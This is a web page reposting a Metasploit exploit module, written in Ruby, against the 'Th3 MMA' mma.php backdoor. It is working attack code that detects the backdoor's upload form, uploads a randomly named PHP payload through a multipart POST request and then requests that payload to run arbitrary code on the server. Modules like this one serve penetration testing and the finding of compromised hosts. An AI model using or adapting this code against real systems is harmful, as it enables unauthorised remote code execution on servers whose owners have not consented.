Home / os / winmobile

Th3 MMA mma.php Backdoor Arbitrary File Upload

Posted on 27 October 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper

 def initialize(info={})
 super(update_info(info,
 'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload',
 'Description' => %q{
 This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that
 leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or
 operating system version because of the php_uname() function.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Jay Turla <@shipcod3>',
 ],
 'References' =>
 [
 ['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor
 ],
 'Privileged' => false,
 'Payload' =>
 {
 'Space' => 10000,
 'DisableNops' => true
 },
 'Platform' => 'php',
 'Arch' => ARCH_PHP,
 'Targets' =>
 [
 ['mma file uploader', {} ]
 ],
 'DisclosureDate' => 'Apr 2 2012',
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]),
 ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one
 end

 def has_input_name?(nodes, name)
 nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true
 end

 def check
 uri = normalize_uri(target_uri.path)
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => uri
 })

 if res
 n = ::Nokogiri::HTML(res.body)
 form = n.at('form[@id="uploader"]')
 inputs = form.search('input')
 if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl')
 return Exploit::CheckCode::Appears
 end
 end

 Exploit::CheckCode::Safe
 end

 def exploit
 uri = normalize_uri(target_uri.path)
 payload_name = "#{rand_text_alpha(5)}.php"

 print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor")

 data = Rex::MIME::Message.new

 data.add_part('Upload', nil, nil, 'form-data; name="_upl"')
 data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name="file"; filename="#{payload_name}"")
 post_data = data.to_s

 res = send_request_cgi({
 'method' => 'POST',
 'uri' => uri,
 'ctype' => "multipart/form-data; boundary=#{data.bound}",
 'data' => post_data
 })

 if res
 if res.body =~ /uplod d0n3 in SAME file/
 print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...")
 register_files_for_cleanup(payload_name)
 else
 fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
 end
 else
 fail_with(Failure::Unknown, 'Connection Timed Out')
 end

 send_request_cgi({
 'uri' => normalize_uri(payload_name),
 'method' => 'GET'
 })
 end
end

 

TOP